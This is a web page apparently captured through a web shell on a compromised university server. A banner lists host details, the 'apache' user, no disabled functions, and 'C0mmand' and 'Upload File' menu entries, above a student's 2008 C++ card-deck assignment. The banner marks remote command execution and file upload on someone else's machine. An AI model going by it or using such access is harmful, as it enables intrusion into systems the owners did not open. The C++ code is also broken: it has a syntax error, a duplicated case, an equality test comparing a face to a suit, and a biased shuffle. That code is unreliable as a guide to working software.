Server IP : 172.16.15.8 / Your IP : 3.145.33.230 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/tasantos/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Tara Santos // Assignment: #1 Pirate's Gold Simulation // Due Date: September 04, 2008 #include <iostream> #include <cstdlib> // random number generator #include "cardclass1.h" CardType :: CardType () { } void CardType :: Assign (SuitType s, FaceType f) { suit = s; face = f; } void CardType :: Print () { switch(face) { case ACE: cout << " Ace"; break; case TWO: cout << " Two"; break: case THREE: cout << " Three"; break; case FOUR: cout << " Four"; break; case FIVE: cout << " Five"; break; case SIX: cout << " Six"; break; case SEVEN: cout << " Seven"; break; case EIGHT: cout << " Eight"; break; case NINE: cout << " Nine"; break; case TEN: cout << " Ten"; break; case JACK: cout << " Jack"; break; case QUEEN: cout << " Queen"; break; case KING: cout << " King"; break; case ACE: cout << " Ace"; break; } cout << " of "; switch (suit) { case CLUB: cout << "Clubs"; break; case DIAMOND: cout << "Diamonds"; break; case HEART: cout << "Hearts"; break; case SPADE: cout << "Spades"; break; } } bool CardType :: GreaterFace(CardType othercard) { if (face > othercard.face) return true; else return false; } bool CardType :: EqualFace(CardType othercard) { if (face == othercard.suit) return true; else return false; } bool CardType :: GreaterSuit(CardType othercard) { if(suit > othercard.suit) return true; else return false; } bool CardType :: EqualSuit(CardType othercard) { if (suit == othercard.suit) return true; else return false; } DeckType :: DeckType() { int i = 0; SuitType s; FaceType f; CardType c; for (s = CLUB; s <= SPADE; s = SuitType(int(s) + 1)) for (f = TWO; f <= ACE; f = FaceType(int(f) + 1)) { c.Assign(s,f); cards[i] = c; i++; }; top = 0; } void DeckType :: Shuffle () { int current, swapposition; CardType tempcard; for (current = DECKSIZE -1; current > 0; current--) { swapposition = rand() % DECKSIZE; tempcard = cards[current]; cards[current] = cards[swapposition]; cards[swapposition] = tempcard; } } CardType DeckType :: DrawCard() { CardType tempcard; tempcard = cards[top]; top++; return tempcard; } bool DeckType :: IsEmpty () { if (top == DECKSIZE) return true; else return false; } void DeckType :: Print () { int i; for(i = 0; i < DECKSIZE; i++) { cards[i].Print(); if (i % 2 == 1) cout << "\n"; else cout << " "; } }